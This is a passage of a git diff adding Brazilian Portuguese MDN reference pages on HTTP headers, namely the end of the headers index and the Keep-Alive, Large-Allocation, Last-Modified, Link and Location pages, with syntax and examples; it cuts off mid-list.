<dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> + <dd>Indica por quanto tempo os resultados de uma solicitação de comprovação ({{Glossary("Preflight_request", "preflight request")}}) podem ser armazenados em cache.</dd> + <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> + <dd>Utilizado ao emitr uma solicitação de comprovação ({{Glossary("Preflight_request", "preflight request")}}) para informar ao servidor quais cabeçalhos HTTP serão usados quando a solicitação real for realizada. </dd> + <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> + <dd>Utilizado ao emitir uma solicitação de comprovação ({{Glossary("Preflight_request", "preflight request")}}) para informar ao servidor qual <a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a> será usado quando a solicitação real for realizada.</dd> + <dt>{{HTTPHeader("Origin")}}</dt> + <dd>Inddica de onde uma busca se origina.</dd> + <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> + <dd>Especifica as origens que tem permissão para ver valores de atributos recuperados por meio de recursos da API de Tempo de Recurso (<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>) que, de outra forma, seriam relatados como zero devido a restrições de origem cruzada (cross-origin restrictions).</dd> +</dl> + +<h2 id="Do_Not_Track">Do Not Track</h2> + +<dl> + <dt>{{HTTPHeader("DNT")}}</dt> + <dd>Usado para expressas a preferência de rastreamento do usuário </dd> + <dt>{{HTTPHeader("Tk")}}</dt> + <dd>Indica o status de rastreamento aplicado à requisição correspondente.</dd> +</dl> + +<h2 id="Downloads">Downloads</h2> + +<dl> + <dt>{{HTTPHeader("Content-Disposition")}}</dt> + <dd>Indica se o recurso transmitido deve ser mostrado em linha (inline - comportamento padrão sem o cabeçalho), ou se deve apresentar uma caixa de diálogo "Salvar como". </dd> +</dl> + +<h2 id="Informações_do_corpo_da_mensagem">Informações do corpo da mensagem</h2> + +<dl> + <dt>{{HTTPHeader("Content-Length")}}</dt> + <dd>Indica o tamanho do corpo da mensagem, em decimal, enviado ao destinatário</dd> + <dt>{{HTTPHeader("Content-Type")}}</dt> + <dd>Indica o tipo de mídia do recurso.</dd> + <dt>{{HTTPHeader("Content-Encoding")}}</dt> + <dd>Usado para especificar o algoritmo de compressão.</dd> + <dt>{{HTTPHeader("Content-Language")}}</dt> + <dd>Descreve a linguagem destinada ao público, para permitir que um usuário se diferencie de acordo com o idioma preferido dele.</dd> + <dt>{{HTTPHeader("Content-Location")}}</dt> + <dd>Indica um local alternativo para os dados retornados.</dd> +</dl> + +<h2 id="Roteamento_de_mensagens_Proxies">Roteamento de mensagens (Proxies)</h2> + +<dl> + <dt>{{HTTPHeader("Forwarded")}}</dt> + <dd>Contém informações do lado do cliente dos servidores <em>proxy</em> que é alterado ou perdido quando um <em>proxy</em> é envolvido no caminho de uma solicitação.</dd> + <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> + <dd>Identifica os endereços de IP de origem de um cliente que se conecta a um servidor web por meio de um <em>proxy</em> HTTP ou balanceador de carga.</dd> + <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> + <dd>Identifica o host original que um cliente usou para se conectar ao <em>proxy</em> ou balanceador de carga.</dd> + <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> + <dd>Identifica o protocolo (HTTP ou HTTPS) que um cliente usou para se conectar ao seu <em>proxy </em>ou balanceador de carga.</dd> + <dt>{{HTTPHeader("Via")}}</dt> + <dd>Adicionado por <em>proxies, </em>ambos<em> proxies </em>de encaminhamento<em> (forward) </em>e reverso<em> (reverse), e pode aparecer nos cabeçalhos de solicitação e de resposta.</em></dd> +</dl> + +<h2 id="Redirecionamentos">Redirecionamentos</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>Indica a URL para redirecionar uma página.</dd> +</dl> + +<h2 id="Contexto_da_requisição">Contexto da requisição</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>Contém um endereço de e-mail da internet para um usuário humano que controla o agente do usuário solicitante.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>Especifica o nome de domínio do servidor (para hospedagem virtual), e (opcionalmente) o número da porta TCP na qual o servidor está ouvindo.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> +</dl> + +<h2 id="Contexto_da_resposta">Contexto da resposta</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>Lista o conjunto de métodos de requisição HTTP suportados por um recurso.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>Contém informações a respeito do programa utilizado pelo servidor de origem para lidar com a requisição.</dd> +</dl> + +<h2 id="Requisições_Range">Requisições Range</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>Indica se o servidor suporta solicitações de intervalo, se sim, em qual unidade o intervalo pode ser expresso.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>Indica a parte de um documento que o servidor deve retornar.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Cria uma solicitação de intervalo condicional que é atendida se a etag ou data fornecida no parâmetro corresponde ao recurso remoto. Usado para impedir o download de dois intervalos da versão incompatível do recurso.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>Indica onde uma parte da mensagem faz parte de uma mensagem inteira de corpo.</dd> +</dl> + +<h2 id="Segurança">Segurança</h2> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>Controls resources the user agent is allowed to load for a given page.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>Force communication using HTTPS instead of HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>Enables cross-site scripting filtering.</dd> +</dl> + +<h2 id="Server-sent_events">Server-sent events</h2> + +<dl> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Transfer_coding">Transfer coding</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>Allows the sender to include additional fields at the end of chunked message.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Outros">Outros</h2> + +<dl> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>Contém a data e hora em que a mensagem foi produzida.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>Indica quanto tempo o User-Agent deve esperar antes de realizar uma requisição de acompanhamento.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, <a href="https://www.rfc-editor.org/standards">visit this Internet Standards reference</a>, which is updated daily. The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field standard is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> + <dt>{{HTTPHeader("X-Content-Duration")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/keep-alive/index.html b/files/pt-br/web/http/headers/keep-alive/index.html new file mode 100644 index 0000000000..90908dff57 --- /dev/null +++ b/files/pt-br/web/http/headers/keep-alive/index.html @@ -0,0 +1,90 @@ +--- +title: Keep-Alive +slug: Web/HTTP/Headers/Keep-Alive +translation_of: Web/HTTP/Headers/Keep-Alive +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <code><strong>Keep-Alive</strong></code> permite que o remetente indique como a conexão deve ser usada, para definir um tempo limite e um máximo de requisições.</p> + +<div class="note"> +<p>O {{HTTPHeader("Connection")}} cabeçalho precisa ser definido como "keep-alive" para isso funcionar , {{HTTPHeader("Connection")}} e {{HTTPHeader("Keep-Alive")}} são ignorados em conexões HTTP/2; Gerenciamento de conexões são feitos por outros mecanismos.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Keep-Alive: <var>parametros</var></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><var>parâmetros</var></dt> + <dd>Uma vírgula separa a lista de parâmetros, Cada consiste de um identificador e um valor separado pelo sinal de igualdade (<code>'='</code>). São possíveis os seguintes identificadores: + <ul> + <li><code>timeout</code>: indicando a quantidade mínima de tempo que uma conexão deve ser mantida aberta (em segundos). Observe que os tempos limite maiores que o tempo limite do TCP podem ser ignorados se nenhuma mensagem TCP keep-alive estiver definida na camada de transporte.</li> + <li><code>max</code>: indicando o número máximo de pedidos que podem ser enviados nesta conexão antes de fechá-lo. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Menor que </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">0</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">, este valor será ignorado por conexões non-pipelined, pois outra requisição será enviada na próxima resposta. Um HTTP pipeline pode usar isso para limitar o pipelining. </span></li> + </ul> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Uma resposta content o cabeçalho <code>Keep-Alive</code>:</p> + +<pre>HTTP/1.1 200 OK +<strong>Connection: Keep-Alive</strong> +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Thu, 11 Aug 2016 15:23:13 GMT +<strong>Keep-Alive: timeout=5, max=1000</strong> +Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT +Server: Apache + +(body)</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td> + <td>The Keep-Alive Header (Experimental specification)</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/rfc7230#appendix-A.1.2">RFC 7230, appendix A.1.2: Keep-Alive</a></td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_dos_navegadores">Compatibilidade dos navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Keep-Alive")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/large-allocation/index.html b/files/pt-br/web/http/headers/large-allocation/index.html new file mode 100644 index 0000000000..20c3a2c522 --- /dev/null +++ b/files/pt-br/web/http/headers/large-allocation/index.html @@ -0,0 +1,94 @@ +--- +title: Large-Allocation +slug: Web/HTTP/Headers/Large-Allocation +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Não padronizado + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Large-Allocation +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta não padronizado <strong><code>Large-Allocation</code></strong> diz ao nevagador que a página que está sendo carregada vai performar uma grande alocação. Ele é atualmente implementado somente no Firefox, mas é inofensivo para ser enviado para qualquer navegador.</p> + +<p>Aplicações <a href="/en-US/docs/WebAssembly">WebAssembly</a> ou <em>asm.js</em> podem usar grandes blocos contíguos de memória alocada. Para jogos complexos, por exemplo, estas alocações podem ser bem grandes, algumas vezes grandes na escala de 1GB. O <code>Large-Allocation</code> diz ao navegador que o conteúdo web que será carregado vai querer performar uma grande alocação de memória contígua e o navegador pode reagir a este cabeçalho iniciando um processo dedicado para carregador o documento, por exemplo.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Large-Allocation: 0 +Large-Allocation: <megabytes> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>0</code></dt> + <dd>0 é um valor especial que representa incerteza em relação a qual será o tamanho da alocação.</dd> + <dt><code><megabytes></code></dt> + <dd>O tamanho esperado da alocação a ser performada, em megabytes.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Large-Allocation: 0 +Large-Allocation: 500 +</pre> + +<h2 id="Tratamento_de_erros">Tratamento de erros</h2> + +<p>O cabeçalho <code>Large-Allocation</code> joga mensagens de aviso ou erro quando utilizado incorretamente. Você vai encontrá-los no <a href="/en-US/docs/Tools/Web_Console">console web</a>.</p> + +<dl> + <dt>This page was loaded in a new process due to a <code>Large-Allocation</code> header.</dt> + <dd>Esta mensagem significa que o navegador viu o cabeçalho <code>Large-Allocation</code>, e conseguiu recarregar a página em um novo processo que deve ter mais memória contígua disponível.</dd> + <dt>A <code>Large-Allocation</code> header was ignored due to the load being triggered by a non-GET request.</dt> + <dd>Quando uma requisição {{HTTPMethod("POST")}} é usada para carregar um documento, aquele carregamento não pode ser redirecionado para um novo processo. Este erro é mostrado quando carregando um documento com um cabeçalho <code>Large-Allocation</code> com um método HTTP que não seja GET. Isto pode ter sido causado devido ao documento estar sendo carregado por um formulário de submissão, por exemplo.</dd> + <dt>A <code>Large-Allocation</code> header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or {{domxref("window.opener")}}.</dt> + <dd> + <p>Este erro significa que o documento não foi carregado no nível mais alto de uma janela ou aba aberta, ou não aberta do usuário. Ele pode ocorrere nestas situações:</p> + + <ul> + <li>O documento com cabeçalho <code>Large-Allocation</code> foi carregado em um {{HTMLElement("iframe")}}. O Firefox não pode mover um iframe em um novo processo atualmente, então o documento deve carregar no novo processo.</li> + <li>O documento com cabeçalho <code>Large-Allocation</code> foi carregado em uma em uma janela que foi aberta pelo {{domxref("window.open()")}}, <code><a target="_blank"></code> ou outros métodos similares sem <code>rel="noopener"</code> ou a funcionalidade <code>"noopener"</code> sendo colocado. Estas janelas devem permanecer no mesmo processo que o abriu, já que eles podem se comunicar, significando que não podemos permití-los trocar processos.</li> + <li>O documento cabeçalho <code>Large-Allocation</code> abriu outra janela com {{domxref("window.open()")}}, <code><a target="_blank"></code> ou outros métodos similares sem a funcionalidade <code>rel="noopener"</code> ou <code>"noopener"</code> sem colocada. Isto é para o mesmo motivo, This is for the same reason as above, ou seja, que eles podem se comunicar e, portanto, não podemos permitir que eles alternem processos.</li> + </ul> + </dd> + <dt>A <code>Large-Allocation</code> header was ignored due to the document not being loaded out of process.</dt> + <dd>O Firefox moveu para uma <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">arquitetura multiprocesso</a>, e esta arquitetura é necessária para suportar o cabeçalho <code>Large-Allocation</code>. Alguns <a href="/en-US/docs/Mozilla/Add-ons/SDK">Addons legado</a> podem previnir o Firefox de usar esta nova, e mais rápida arquitetura multiprocesso. Se você tem um destes Addons, então nós vamos continuar a utilizar a antiga arquitetura de processo único para compatibilidade, e não pode lidar com o cabeçalho <code>Large-Allocation</code>.</dd> + <dt>This page would be loaded in a new process due to a <code>Large-Allocation</code> header, however <code>Large-Allocation</code> process creation is disabled on non-Win32 platforms.</dt> + <dd>O Firefox atualmente somente suporta o cabeçalho <code>Large-Allocation</code> nas versões 32-bits do Windows, como fragmentação de memória não é um problema em versões 64-bits. Se você está rodando uma versão não <em>win32 </em>do Firefox, este erro irá aparecer. Esta checagem pode ser desabilitada com a preferência de booleano "dom.largeAllocation. + <p>forceEnable" em about:config.</p> + </dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<p>Não faz parte de nenhuma especificação atualmente. Uma explicação das ideias por trás deste cabeçalho podem ser encontradas <a href="https://gist.github.com/mystor/5739e222e398efc6c29108be55eb6fe3">neste documento</a>.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Large-Allocation")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/WebAssembly">WebAssembly</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/last-modified/index.html b/files/pt-br/web/http/headers/last-modified/index.html new file mode 100644 index 0000000000..308e6fe46a --- /dev/null +++ b/files/pt-br/web/http/headers/last-modified/index.html @@ -0,0 +1,87 @@ +--- +title: Last-Modified +slug: Web/HTTP/Headers/Last-Modified +translation_of: Web/HTTP/Headers/Last-Modified +--- +<div>{{HTTPSidebar}}</div> + +<p>A linha de cabeçalho <strong><code>Last-Modified</code></strong> do cabeçalho de resposta HTTP contém a data e a hora em que o servidor de origem acredita que o recurso foi modificado pela última vez. É usado como um validador para determinar se um recurso recebido ou armazenado é o mesmo. Menos preciso do que um cabeçalho {{HTTPHeader("ETag")}}, é um mecanismo de retorno. Os pedidos condicionais {{HTTPHeader("If-Modified-Since")}} or {{HTTPHeader("If-Unmodified-Since")}} fazem uso deste campo.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><day-name></dt> + <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd> + <dt><day></dt> + <dd>2 digit day number, e.g. "04" or "23".</dd> + <dt><month></dt> + <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd> + <dt><year></dt> + <dd>4 digit year number, e.g. "1990" or "2016".</dd> + <dt><hour></dt> + <dd>2 digit hour number, e.g. "09" or "23".</dd> + <dt><minute></dt> + <dd>2 digit minute number, e.g. "04" or "59".</dd> + <dt><second></dt> + <dd>2 digit second number, e.g. "04" or "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p> + </dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "Last-Modified", "2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Last-Modified")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("Etag")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/link/index.html b/files/pt-br/web/http/headers/link/index.html new file mode 100644 index 0000000000..3df78e1a35 --- /dev/null +++ b/files/pt-br/web/http/headers/link/index.html @@ -0,0 +1,77 @@ +--- +title: Link +slug: Web/HTTP/Headers/Link +tags: + - Cabeçalho HTTP + - HTTP + - Link + - Rascunho + - Referencia +translation_of: Web/HTTP/Headers/Link +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de entidade <strong><code>Link</code></strong> provém maneiras para serializar um ou mais links em cabeçalhos HTTP. Ele é semanticamente equivalente ao elemento HTML {{HTMLElement("link")}}.</p> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Link: < <var>uri-reference</var> >; <var>param1</var>=<var>value1</var>; <var>param2</var>="<var>value2</var>"</pre> + +<dl> + <dt><code><uri-reference></code></dt> + <dd>A referência da URI, precisa ser encapsulado entre <code><</code> e <code>></code>.</dd> +</dl> + +<h3 id="Parâmetros">Parâmetros</h3> + +<p>O cabeçalho <em>link</em> contém parâmetros, os quais são separados com <code>;</code> e são equivalentes aos atributos do elemento {{HTMLElement("link")}}.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<p>A URI precisa ser encapsulado entre <code><</code> e <code>></code>:</p> + +<pre class="brush: http; no-line-numbers example-good notranslate">Link: <https://example.com>; rel="preconnect"</pre> + +<pre class="brush: http; no-line-numbers example-bad notranslate">Link: https://bad.example; rel="preconnect"</pre> + +<h3 id="Especificando_múltiplos_links">Especificando múltiplos <em>links</em></h3> + +<p>Você pode especificar múltiplos <em>links</em> separados por vírgulas, por exemplo:</p> + +<pre class="notranslate">Link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8288, "Link Serialisation in HTTP Headers", 3)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td></td> + </tr> + <tr> + <td>{{RFC(5988, "The Link Header Field", 5)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Link")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(103, "103 Early Hints")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/localização/index.html b/files/pt-br/web/http/headers/localização/index.html new file mode 100644 index 0000000000..2b8ebcc404 --- /dev/null +++ b/files/pt-br/web/http/headers/localização/index.html @@ -0,0 +1,82 @@ +--- +title: Location +slug: Web/HTTP/Headers/Localização +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP +translation_of: Web/HTTP/Headers/Location +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Location</code></strong> indica o URL para qual página deve-se ser redirecionada. Ele só tem significado quando é enviado junto a uma resposta de status <code>3xx</code> (redirecionamento) ou <code>201</code> (criado).</p> + +<p>Em casos de redirecionamento, o método HTTP utilizado para fazer a nova requisição à página apontada pelo cabeçalho <code>Location</code> depende do método original e do tipo de redirecionamento:</p> + +<ul> + <li>Se respostas com status {{HTTPStatus("303")}} (Veja também) sempre levam ao uso do método {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirecionamento Temporário) e {{HTTPStatus("308")}} (Redirecionamento Permanente) não mudam o método utilizado na requisição original;</li> + <li>{{HTTPStatus("301")}} (Movido Permanentemente) e {{HTTPStatus("302")}} (Encontrado) não mudam o método na maior parte das vezes, entretanto agentes de usuário antigos talvez mudem (basicamente você não sabe se eles farão isso).</li> +</ul> + +<p>Todas as respostas com um desses códigos de status enviam um cabeçalho <code>Location</code>.</p> + +<p>Em casos de recursos de criação, ele indica o URL para o novo recurso criado.</p> + +<p><code>Location</code> e {{HTTPHeader("Content-Location")}} são diferentes: <code>Location</code> indica o alvo de redirecionamento (ou URL do novo recurso criado), enquanto {{HTTPHeader("Content-Location")}} indica o URL direto para ter acesso ao recurso quando <a href="/en-US/docs/Web/HTTP/Content_negotiation">negociação de conteúdo</a> acontecer, sem a necessidade de futura negociação de conteúdo. <code>Location</code> é um cabeçalho associado com a resposta, enquanto {{HTTPHeader("Content-Location")}} é associado com a entidade retornada.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Location: <url> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><url></dt> + <dd>Uma URL relativa (ao URL de requisição) ou absoluta.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Location: /index.html</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "Location", "7.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Location")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Location")}}</li> + <li>Código de status de respostas que incluem o cabeçalho <code>Location</code>: {{HTTPStatus("201")}}, 